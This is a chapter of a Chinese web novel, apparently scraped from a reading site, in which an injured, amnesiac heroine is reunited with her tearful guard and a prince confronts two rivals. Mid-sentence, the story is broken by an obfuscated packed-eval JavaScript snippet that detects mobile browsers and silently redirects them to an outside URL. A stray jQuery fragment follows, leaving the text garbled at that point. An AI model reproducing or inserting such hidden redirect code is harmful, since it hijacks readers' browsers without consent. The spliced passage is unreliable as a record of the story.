第372章 要么,自己滚

作品:《我被活活烧死后,全家悔疯了

    白鹤隐自觉有愧,认下嘲讽。


    头还是晕,沈池鱼神色恹恹,脸色依旧苍白,瞧着一碰就会碎。


    观她神态和眼中的清明,显然她并非刚刚苏醒,只是不知,她醒了多久?又听到了多少?


    谢无妄皱眉,心往下沉了沉。


    “小鱼儿,你感觉怎么样?头还疼吗?”白鹤隐问。


    周既白没说话,沉默地看着她,脚步不由自主往前挪动半步。


    听到轻微的脚步声,沈池鱼淡声道:“别过来。”


    她浑身戒备,甚至往后仰了仰身子拉开些许距离。


    这些人,一个个都不可信,把她当傻子耍。


    细微的动作像盆冷水,浇熄几人想要靠近的热情和急切。


    谢无妄薄唇紧抿,眼神很复杂。


    白鹤隐脸上的笑僵住,眼底爬上失落。


    周既白也停下脚步,垂在身侧的手指蜷缩了下。


    他们不敢贸然向前,怕再刺激到她,让她像之前那样情绪激动昏厥过去。


    离得远,沈池鱼看不清他们,更看不清他们的神色和动作,只能看到一团模糊的身影轮廓。


    她眯起眼,努力分辨着,想从身形、衣着或气场上区分出谁是谁。


    片刻后,在混沌中,沈池鱼放弃徒劳的辨认,轻声问:“十三在吗?”


    站在最后面的十三,听到询问,精神一振!


    “在的!小姐,属下在这儿!”


    十三一边难掩激动的应声,一边拨开前面挡着的两人。


    遇到谢无妄,他自觉绕路,兴冲冲地几步窜到榻前。


    到了近前,瞧着沈池鱼苍白虚弱的模样,十三眼圈一下子红了,哽咽道:


    “小姐,属下终于找到您了,呜呜呜呜……”


    在敌人面前悍勇无畏的暗卫,现在当着那么多人的面,像个孩子一样哇哇地哭。


    谢无妄:“……”不想承认这是自己送出去的暗卫。


    谢七:“……”没眼看没眼看,好丢我们暗卫的人。


    沈池鱼被他哭得手足无措,虽然对他还很陌生,但她能感觉到那份担忧和举动没有作伪。


    她放软声音,安抚道:“我没事,别哭了。”


    然而,一直盯着沈池鱼的谢无妄,敏锐察觉到了不对劲。


    在林中,十三曾和沈池鱼说过话打过照面,她不该那么快忘记才对。


    可刚才,她却像是分不出来谁是十三一样。


    这里就那么几个人,很好辨认也很好找。


    除非……


    谢无妄骤然往前一步,声音低沉紧绷:“你的眼睛怎么了?”


    他锁定沈池鱼的眼睛,试着从那双凤眸里看出端倪。


    沈池鱼看不清,但听得清,她听出是那个被称为王爷的谢无妄的声音。


    而这人,还是自己真正的未婚夫。


    沈池鱼张口要答,被周既白抢了先。


    “她从山上滚下来二次摔伤了头,淤血压迫,导致只能看清三步以内的事物。”


    “大夫说,需要时间慢慢恢复。”


    谢无妄的脸上覆上寒霜,垂在身侧的手握紧成拳,手背上青筋浮现,骨节捏得咯咯作响。


    彰显着主人内心汹涌的痛楚和愤怒。


    离京不过一个多月,走时还好好的姑娘,现在却伤痕累累,失忆,半瞎,脆弱的像易碎的瓷娃娃。


    怒火翻腾冲撞,他恨得想立刻把后面那两人拖出去千刀万剐。


    他们,一个让她陷入险境,遭受无妄之灾;


    一个因一己之私想把人藏匿,才让她伤上加伤。


    白鹤隐嘴唇动了动,终究没说出什么。


    难怪大夫说她受过几次撞击,原来除了坠崖,她后面还滚下过山坡。


    极致压抑的静默中,谢无妄强行忍着快要冲破理智樊笼的暴戾之气。


    吩咐道:“十三,照看好她,寸步不离。”


    “是。”


    十三用袖子胡乱抹着眼睛,一副誓死护卫的姿态。


    谢无妄冰锥般的眼神,一一扫过白鹤隐和周既白,“你们两个,出来。”


    说完,他率先大步流星走出内堂。


    白鹤隐和周既白对视一眼,彼此眼神算不上友好,他们知道,这是要算账了。


    两人没说什么,默默跟出去。


    谢七不好继续留在里面碍眼,走时顺便把想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843067|176261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    原地消失的老大夫一起拎了出去。


    内堂里只剩下主仆二人,十三又想哭了,“小姐……”


    “先打住,”沈池鱼捏了捏眉心,“你一个男子汉,跟谁学的动不动就哭?”


    十三理直气壮:“跟雪青。”


    沈池鱼觉得这名字也耳熟,问:“和你一样是我的护卫?”


    “不,她是您的丫鬟。”


    沈池鱼再次无语。


    你跟人小丫鬟学什么?这对吗?


    “小姐,您连雪青也忘了吗?那完了,她要知道得哭死,她比属下能哭。”


    十三一脸天塌了的表情。


    沈池鱼头疼,觉得要不继续待在新平镇吧,什么时候想起所有事儿了再回去。


    十三又问:“那惊九呢?您还记得惊九吗?”


    沈池鱼摇头。


    十三眼珠一转,坏水冒得很明显:“不记得没事,他不重要,小姐记得属下对您最忠心就好。”


    “……”沈池鱼真心发问:“有没有人告诉你,你并不适合做坏事?”


    十三摇头,摸摸脸:“是长得不像坏人吗?”


    不,好孩子,是你演技太烂。


    见多了狐狸,突然见到个真狗,别说,挺让人怜爱。


    “好了,其他事暂且不提,你先跟我说说我为什么会坠崖,现在又是什么情况?”


    沈池鱼知道记忆总会回来,现在不必纠结过往的人事,她只需要知道眼下的处境,以及她要怎么做。


    一想到小姐坠崖那天,十三眼圈发红,吸了吸鼻子,开始一五一十地讲述……


    医馆外。


    暮色渐沉,天光暗淡,给不大的街道添上几分肃杀。


    谢无妄的玄色袍摆在寒风中拂动,他卷起绣着暗金纹路的袖口,露出线条流畅,蕴含着爆发力的小臂。


    动作不疾不徐,却有种山雨欲来之势。


    白鹤隐神色严肃,也抽出腰上的乌鳞准备迎战。


    周既白依旧面无表情,手上拿着一把短刃,稍稍调整站姿,全身肌肉绷紧,目光沉沉注视着谢无妄。


    “本王给你们两个选择,要么,自己滚,要么,本王亲自动手。”